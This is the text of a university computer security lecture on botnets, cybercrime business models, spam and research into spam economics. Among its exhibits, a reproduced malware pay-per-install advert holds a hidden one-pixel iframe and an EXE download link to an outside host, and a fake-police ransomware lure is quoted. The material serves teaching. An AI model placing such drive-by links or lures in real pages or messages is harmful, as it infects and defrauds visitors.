CSE 127 Computer Security
Stefan Savage, Fall 2023, Lecture 17

Malware II: Botnets and Cybercrime
So you’ve taken over 100,000 machines...

- Then what?

- Use machines *together* for some purpose

- Botnets
What’s a botnet?

- A **network** of compromised computers with a common **command & control** system (C2)
  - Each host called a **bot**

- The bot **controller** sends commands via the network to get botnet to do something “en masse”
  - Spam, phishing
  - Denial-of-service [e.g., dirtjumper]
  - Click fraud
  - Stealing local data (e.g. credit cards, passwords, bank account #’s, etc) [e.g., zeus, spyeye]
  - cryptocoin mining
  - Ransomware
Botnet Architectures

- **Command and control (C2) structure**
  - Centralized:
    - Old school (IRC server - Internet relay chat) or Web server
    - Multiple servers for robustness (e.g., try round-robin among them)
  - Peer-to-peer: self-organizing
    - Each host can be a worker or a proxy; decided dynamically
    - Multi-level hierarchy forwards traffic back to controller

- **Push vs pull designs**
  - Attacker sends out message to tell bots what to do (push)
  - Worker bots “ask” for work to do (pull)
Example:
Storm peer-to-peer botnet
Updating and recovery

- Virtually all bots today have **auto-update** capability
  - Check C2 on start to see if there is a new version. If so, download from x
  - Allows adding new features, fixing bugs and helps with resilience

- Resilience/recovery
  - What happens if someone takes over your C2? (e.g., legal action)
    How to keep from losing whole botnet?
  - Alternate (i.e., backup) C2s
    - Round-robin: if you can’t reach C2-a, then try C2-b, then C2-c, etc...
    - Domain Generation Algorithms (DGA): if can’t reach C2, then try domain name name that is a function of the date (i.e., so attacker can regain control by registering appropriate domain name at a future point in time)
  - Digital signatures on updates (don’t let someone else update your software)
Dealing with botnets

- Detection
  - Detecting the malware
  - Detecting network access to known C2s or using known botnet C2 protocols
  - Allow “honeypot” computers to be infected and see what they do
  - Infiltrate or takeover C2 and see which hosts connect to it (the infected ones)

- What to do?
  - Get users to cleanup infected hosts (e.g., Microsoft Malware Removal Tool)
  - Quarantine from network (some ISPs do this)
  - Shutdown C2 (carefully) or disrupt its behavior
  - Takeover C2 and command bots to uninstall themselves (legal issues)
So... what do attackers do with botnets?

- Originally... not much... have fun.
- Early 2000s, some botnets used for DDoS
First major motivation: spam

- Before 2000, spammers could generally get away with sending lots of spam from a server
- Spam-based blocklists become into being
  - “Don’t accept e-mail from IP address 132.239.4.5”
- Effectively *force* spammers to use many different IP address
- First solution: open proxies
  - Mail servers that will accept mail from any source
  - Provokes blocklisting of such servers
- Botnets provide a solution
Economic Drivers

- Starting in 2005, emergence of profit-making malware
  - Anti-spam efforts force spammers to launder e-mail through compromised machines (starts with MyDoom.A, SoBig)
  - "Virtuous" economic cycle transforms nature of threat

- Commoditization of compromised hosts
  - Fluid third-party exchange market (millions of hosts)
    - Raw bots (range from pennies to dollars)
    - Value added tier: SPAM proxying (more expensive)

- Innovation in both host substrate and its uses
  - Botnets: sophisticated command/control networks: platform
  - SPAM, piracy, phishing, identity theft, DDoS are all applications
Installs4Sale.net - надежный сервис по загрузкам, достойный доверия

ПРИМЕРУЩЕСТВА

- Быстро осуществляем отгрузку практически в любой регион. Принимаем заказы на массы стран по вашему выбору.
- Для постоянных клиентов действуют скидки и бонусы в виде дополнительного объема загрузок.
- Мы обеспечиваем конфиденциальность и безопасность для ваших данных.

Контакты:
- 560869831
- 560525933
- info [at] installs4sale.net
Договоримся по всем целям и получите индивидуальные условия вы можете в службе поддержки. Пишите!

Мы отслеживаем уникальность инсталов и их чистоту перед продажей.

УСЛОВИЯ

- Мы работаем строго по предоплате. Допускается частичная оплата постоянным клиентам на больший объем.
- Мы не несем ответственности за то, что у вас по каким-то причинам отсутствуют загрузки. Если вы не видите инсталов с первых минут мы можем прекратить отгрузку до выяснения обстоятельств.

ТАРИФЫ

<table>
<thead>
<tr>
<th>География</th>
<th>Цены</th>
</tr>
</thead>
<tbody>
<tr>
<td>GB (Англия)</td>
<td>150$</td>
</tr>
<tr>
<td>DE (Германия)</td>
<td>150$</td>
</tr>
<tr>
<td>USA (США)</td>
<td>130$</td>
</tr>
<tr>
<td>IT (Италия)</td>
<td>120$</td>
</tr>
<tr>
<td>Микс (US,CA, AU, GB)</td>
<td>100$</td>
</tr>
<tr>
<td>CA (Канада)</td>
<td>100$</td>
</tr>
<tr>
<td>Микс (Европа)</td>
<td>40$</td>
</tr>
<tr>
<td>Азия</td>
<td>10$</td>
</tr>
</tbody>
</table>

Все цены указаны за 1000 уникальных загрузок.
EXE last updated 88 hours ago

Last news

<table>
<thead>
<tr>
<th>Date</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>4.12.2006</td>
<td>From today our price for Asia grows up to 155 for 1k and the price for Italy - to 380$ for 1k</td>
</tr>
<tr>
<td>28.11.2006</td>
<td>For the reason of last price for Asiatic region we have to lower our price for it to 125. We're waiting for your understanding. We'll work up this problem as soon as possible.</td>
</tr>
<tr>
<td>11.07.2006</td>
<td>Now, we accept Asia loads!</td>
</tr>
<tr>
<td>11.06.2006</td>
<td>We resolve our problem with hosting! And we have a special bonus: you'll get +25% more to your money!</td>
</tr>
<tr>
<td>31.05.2006</td>
<td>From the 31th of May the new system of anti-avivirus is started.</td>
</tr>
<tr>
<td>07.11.2005</td>
<td>Problems with BlackURL solved, use it!</td>
</tr>
<tr>
<td>11.10.2005</td>
<td>Now you can send net unique traffic to your resources with help of BlackURL</td>
</tr>
<tr>
<td>16.10.2005</td>
<td>From the 16th of October the new system of buffering IS STARTED! From this moment we pay different $$$ for different countries</td>
</tr>
<tr>
<td>19.09.2005</td>
<td>From the 19th of September the price for 1000 loads will rise to 805</td>
</tr>
<tr>
<td>3.06.2005</td>
<td>New system of statistics and new diksys are started!</td>
</tr>
<tr>
<td>11.07.2005</td>
<td>From the 11th of July the price for 1000 loads will rise to 705</td>
</tr>
</tbody>
</table>

Adverts link

HTML Link: <iframe src="http://yepjnddqsu.biz/dl/adv22.php" width=1 height=1></iframe>

Hidden HTML Link: <iframe src="http://yepjnddqsu.biz/dl/adv22.php" width=1 height=1></iframe>

EXE Link (last update 88 hours ago): http://yepjnddqsu.biz/dl/loadadv22.exe
Making money...

- Monetize platform of compromised host
  - **Generic resources**: CPU, IP address, bandwidth, storage
  - **Unique resources**: e-mail accounts, credit card numbers, bank accounts, intellectual property

- Ultimately, must find a way to “cash out”...
Two core criminal value creation strategies...
Click fraud

- **Assumption:**
  - Click on ad is a customer

- **Attack**
  - Deplete other ad budgets
  - Click on *own* ads for revenue

- **Defense in practice**
  - Try to identify fraudulent patterns (e.g., many clicks from IP, no sales, “kind” of hosts doing clicks)
  - Refund money from those
Infostealers

- Infected machines gather information from the disk or as it is typed and send it back
  - Either via command & control channel
  - Or to “dead drop” (e.g., public Web site that anyone can read, e.g. pastebin)

- Commercial use (e.g., Zeus/Spyeye)
  - Gathering credentials for online services, banks, credit cards, etc

- Espionage use (e.g., Ghostnet/Flame)
  - Gathering documents of value
Zeus example
Zeus example
Infostealers

- Best infostealers can defeat two-factor authentication

- In-browser malware
  - **Piggybacking**
    - Allow user to authenticate normally to bank
    - Piggyback theft transaction (wire transfer) on this login
    - **Rewrite bank javascript** as it arrives in the browser so the bank balance is “fixed up” and theft transaction is invisible to user
  - **Social engineering**
    - Fake “chat” window (e.g., from Bank) asks user for second factor info

- Requires custom malware for each bank (typically target one bank at a time)
Cashout

- So... you’ve stolen a bunch of credit cards, or bank account credentials.... Now what?

- Direct monetization
  - *White plastic*: create new cards and do cash withdrawals (usually outsourced for 50% commission)
  - *Wire transfer* (to other US bank), then “money mules” withdraw money & transfer via Western Union

- Reshipping fraud
  - *Purchase goods online* (dense value per pound) with stolen credit cards and send to US address
  - Reshipping mules receive item and reship to overseas location
Fraud: FakeAV

- Two vectors
  - Infected machine pops up warning
  - Compromised Web site creates fake warning for visitors
    - Aside: search engine optimization (SEO) and abuse another big use for botnets (i.e., poisoning Google search results)

- Warning indicates that machine is infected

- Looks like a real AV system

- Offers to clean you machine if you subscribe (e.g., $50)
Fraud: FakeAV
Extortion: Ransomware

- Malware encrypts all files and requires machine’s owner to pay to unlock
  - Typically uses non-standard payment instruments: e.g., paysafecard, Bitcoin
  - Will unlock data with payment
  - Modern versions also exfiltrate data and threaten to release it if not paid

- Historically two kinds of lures:
  - Fraudulent:
    - We are the FBI/BKA/RIAA/etc.... You have copyrighted material, child pornography, etc... on your machine... you will be brought to court unless you settle
  - Straight out extortion (dominant today)
    - Pay us or you’ll never see your files again

- Transition to “big game” hunting (big companies)
  - Pay us or you won’t get your data and we’ll release your data to the world
  - Big ransoms – enabled by liquidity in cryptocurrency space
ATTENTION!

You have been violating Copyright and Related Rights Law (Video, Music, Software) and illegally using or distributing copyrighted content, thus infringing Article I, Section 8, Clause 8, also known as the Copyright of the Criminal Code of United States of America.

Article I, Section 8, Clause 8 of the Criminal Code provides for a fine of two to five hundred minimal wages or a deprivation of liberty for two to eight years.

You have been viewing or distributing prohibited Pornographic content (Child Porno/Zoophilia and etc). Thus violating article 202 of the Criminal Code of United States of America. Article 202 of the Criminal Code provides for a deprivation of liberty for four to twelve years.

Illegal access has been initiated from your PC without your knowledge or consent, your PC may be infected by malware, thus you are violating the law On Neglectful Use of Personal Computer. Article 210 of the Criminal Code provides for a fine of up to $100,000 and/or a deprivation of liberty for four to nine years.
Largest botnet application: spam

- Overview of spam and anti-spam
- Local research in spam economics
What is spam?

- To you:
  - Mail you didn't want

- To email providers:
  - Bulk email their customers didn't want

- To the law:
  - Bulk commercial email that doesn't abide by a set of rules
    - CAN SPAM Act

Spamalytics
Spam “applications”

- Marketing
  - Selling goods/services
  - Stock spam
  - Advanced Fee Fraud (419 scams)
- Attraction (taking you to a site)
  - Phishing/spear phishing
  - XSS, CSRF attacks
  - Drive-by malware
- Infection via attachments
Gathering targets

- Harvesting
  - Web crawling (home pages, myspace, etc)
  - News, Mailing list crawling
  - Malware harvesting
  - Blind addressing

- Stealing lists from enterprises/providers

- Purchasing mailing lists
  - Legal: opt-in
  - Lots of illegal lists for sale
How Email Works:
Quick Overview of SMTP (port 25)

Connected to mx1.mindspring.com
220 mx1 - SMTP ready
helo test
250 mx1.mindspring.com
Hello abc.sample.com [220.57.69.37], pleased to meet you
mail from: test@sample.com
250 2.1.0 test@sample.com... Sender ok
rcpt to: jsmith@mindspring.com
250 2.1.5 jsmith... Recipient ok
data
354 Enter mail, end with "." on a line by itself
from: test@sample.com
to: jsmith@mindspring.com
subject: testing
John, I am testing...
.
250 2.0.0 e1NMajH24604 Message accepted for delivery
quit
221 2.0.0 mx1.mindspring.com closing connection
Connection closed by foreign host.
More on e-mail

- A particular domain (e.g. ucsd.edu) has a small number of mail servers for all outbound mail (e.g., smtp.ucsd.edu)

- However, it is possible for each machine to send mail *directly*
Sending spam

- Base message composition
- Mass mailing program
  - Interface with target lists
  - Add polymorphism/specialization/personalization
  - Connect to delivery infrastructure
- Delivery infrastructure
  - Send from own machine
    - Can have many RCPT TO: addresses in one e-mail
  - Launder origin via open relays/proxies
  - Launder origin via Email service provider
  - Launder origin via botnet
Example: Send-Safe
What to do about it?

- Block reception
  - Blocklisting
  - Sender authentication
  - Content filtering

- Change economic model
  - Charge sender per message

- Change addressing model

- Legal remedy
  - CAN-SPAM act
Blocklisting

• Detect spam
  – Honey “clients” (dummy e-mail accounts)
  – User reports (“click here to report spam”)
  – Anomaly detectors plus inspection

• Save the IP address that sent you the spam

• Report to blocklisting service (”IP address 132.239.3.4 is a spam sender”)

• Configure mail servers to validate each IP address against blocklisting service before accepting e-mail (”don’t accept smtp traffic from 132.239.3.4”)

• Issues?
Sender authentication

- Validate that purported origin domain could have generated the message
  - From: biden@whitehouse.gov [132.239.1.2]

- Sender Policy Framework (SPF)
  - Do DNS lookup on domain, get list of IPs that are **allowed** to send mail for that domain; validate

- DomainKeys
  - Mail header includes digital signature
  - Recipient does DNS lookup on domain to get public key and verifies signature with it

- Note same binding issues as with HTTPS. Spammer might register domain (and hence set up SPF and DomainKeys) for whitehouse.net
Content filtering

- **Phrase/keyword filtering**
  - Known suspect keywords (e.g. Viagra, Cialis)

- **Heuristics**
  - All CAPITAL letters, embedded images, came from estonia, spoofed header, IP address space is dynamic, etc

- **Learning approaches**
  - E.g., Bayesian filtering – train algorithm on known spam, known ham – certain words (or combinations of words) happen more in spam (e.g. Viagra). Use word appearance as filter
How to evaluate anti-spam?

- Its easy to catch 100% of all spam!
  - Reject all messages

- Its easy to never misclassify good mail
  - Accept all messages

- Need to know false positives and false negatives
  - False positives are a big deal!

- Tricky because most algorithms can be tuned... no single number
Remainder of today:  
Spam economics (UCSD/ICSI)

• We tend to focus on the costs of spam
  – > 100 Billion spam emails sent every day [Ironport]
  – > $1B in direct costs – anti-spam products/services [IDC]
  – Estimates of indirect costs (e.g., productivity) 10-100x more

• But spam exists only because it is profitable
  • Someone is buying!

• Alternative
  – Attack underlying economic support for spam
History of the spam business model

- Direct Mail: origins in 19th century catalog business
  - Idea: send unsolicited advertisements to potential customers
  - Rough value proposition: Delivery cost < (Conversion rate * Marginal revenue)

- Modern direct mail (> $60B in US)
  - Response rate: ~2.5% (mean per DMA)
  - CPM (cost per thousand) = $250 - $1000

- Spam is qualitatively the same... just quantitatively cheaper.
First: how spam-based advertising works
Affiliate program structure

- **Division of labor**
  - **Affiliates** handle advertising (e.g., spam, SEO)
    - Independent contractors
    - Paid 25-60% commission depending on program
  - **Affiliate programs** handle backend
    - Payment processing, customer service, fulfillment
    - Sometimes hosting and domain registration

- **Why?**
  - Transfer of risk: innovation risk vs investment risk
  - Specialization lowers cost structure
Many affiliate programs...
“Leaked” ground truth data
Glavmed, Spamit, Rx-Promo

- 185M in gross revenue, 1+ million customers, 1.5+ million purchases, 2600+ affiliates

<table>
<thead>
<tr>
<th>Program</th>
<th>Period</th>
<th>Affiliates</th>
<th>Customers</th>
<th>Billed orders</th>
<th>Revenue</th>
</tr>
</thead>
<tbody>
<tr>
<td>GlavMed</td>
<td>Jan 2007 – Apr 2010</td>
<td>1,759</td>
<td>584,199</td>
<td>699,516</td>
<td>$81M</td>
</tr>
<tr>
<td>SpamIt</td>
<td>Jun 2007 – Apr 2010</td>
<td>484</td>
<td>535,365</td>
<td>704,169</td>
<td>$92M</td>
</tr>
<tr>
<td>RX-Promotion</td>
<td>Oct 2009 – Dec 2010</td>
<td>415</td>
<td>59,769 – 69,446</td>
<td>71,294</td>
<td>$12M</td>
</tr>
</tbody>
</table>
Heavy-tailed revenue

10% of affiliates account for ~80% of total program revenue
Where does the money come from?
Demand for Spam-advertised Pharmaceuticals

- Purchasers are Western
  - US (75%), US + Europe/Canada/Australia (91%)

- Demand is primarily for ED drugs
  - 75-80% of orders
  - Long tail of drugs for chronic conditions
  - Abuse drugs also give high revenue
    (opiates, benzos, stimulants)

- Demand not even vaguely saturated... new customers joining at constant rate
Click Trajectories

▪ Click Trajectory project
  – Find “bottlenecks” in the spam “value chain” (i.e., what lets them make money)
  – Place where intervention could be most effective
    ▪ Resources with largest impact on profitability
    ▪ Highest switching cost for adversary

▪ Measure empirically
  – Resources needed to monetize each piece of spam
  – By playing the role of customer; at scale
    ▪ Three domains: pharma, replica, software

Levchenko, Pitsillidis and an amazing cast of 13 others...
*Click Trajectories: End-to-end analysis of the Spam value chain, IEEE S &P, 2011*
Aug 1 -- Oct 31 2010

- 7 URL/Spam feeds + 5 botnet feeds
  - 968M URLs
  - 17M domains

- Crawled domains for 98% of URLs in
  - 1000s of browser instances
  - Large IP address diversity

- Hundreds of purchases
  - Unique card # per order
  - Full transaction data
600+ orders later...
Result

- Most resources (domains, hosts, botnets, etc) have very low replacement cost
- Exception: merchant banks – slow to establish, up front capital, holdback forfeiture; (loss can be larger than profit)
- Handful of banks monetize all such abuse

- Research - Policy – Worked with brands, EOP IP Czar, Visa/MC
  - Undercover purchase/takedown regime

  **Highly effective:**
  - Microsoft effectively shuts down counterfeit software sales for > 18mos
  - Counterfeit pharma cut down (> 50% orgs close)

- European banks depart “risky” market
  (now dominated by China, Azerbaijan, etc)
Qualitative Timeline

**11/2011**: Microsoft starts merchant complaint actions

**11/20/2011**: ATTENTION Dear advertisers, we are having problems with the bank and our accounts were suddenly frozen. We're forced to temporarily stop accepting OEM traffic.

**11/22/2011**: Starting today our bank has stopped working. Due to this, we have made the decision to close our affiliate program for the duration of our search for new processing.

**1/23/2012**: Remark by leading affiliate: “The sun is setting on the OEM era”

Life is tough all around...

“Right now most affiliate programs have a mass of declines, cancels and pendings, and it doesn't depend much on the program imho, there is a general sad picture, fucking Visa is burning us with napalm (for problematic countries, it's totally fucked, on a couple of programs you're lucky if you get 50% through).”
Summary

- Malware detection is complex
  - No foolproof way to tell if software is benign or not
  - Arms race where malware authors innovate to stay undetected

- Botnets are now a staple of e-crime
  - Couple large numbers of compromised machines with central command and control
  - Creates platform economy

- Cybercrime
  - Lots of ways to monetize access to someone’s computer (information, access, bandwidth, etc)
  - Click fraud, info stealers, ransomware, ddos, etc...
  - Spam
    - Direct marketing meets botnets -> 100B spam/day
    - Significant profit center for criminals

- Sometimes most effective solutions aren’t technical